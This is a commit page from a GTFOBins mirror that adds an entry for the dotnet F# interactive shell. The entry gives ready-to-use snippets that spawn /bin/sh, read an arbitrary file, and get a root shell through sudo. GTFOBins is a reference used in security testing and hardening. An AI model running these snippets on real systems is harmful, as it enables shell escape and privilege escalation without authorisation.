~rek2/GTFOBins

f9e3d8459675c7ffaaa822c505191575e1cf7270 — pad0van 7 months ago abbed40
Add dotnet

Co-authored-by: Andrea Cardaci <cyrus.and@gmail.com>
1 files changed, 16 insertions(+), 0 deletions(-)

A _gtfobins/dotnet.md
A _gtfobins/dotnet.md => _gtfobins/dotnet.md +16 -0
@@ 0,0 1,16 @@
---
functions:
  shell:
    - code: |
        dotnet fsi
        System.Diagnostics.Process.Start("/bin/sh").WaitForExit();;
  file-read:
    - code: |
        export LFILE=file_to_read
        dotnet fsi
        System.IO.File.ReadAllText(System.Environment.GetEnvironmentVariable("LFILE"));;
  sudo:
    - code: |
        sudo dotnet fsi
        System.Diagnostics.Process.Start("/bin/sh").WaitForExit();;
---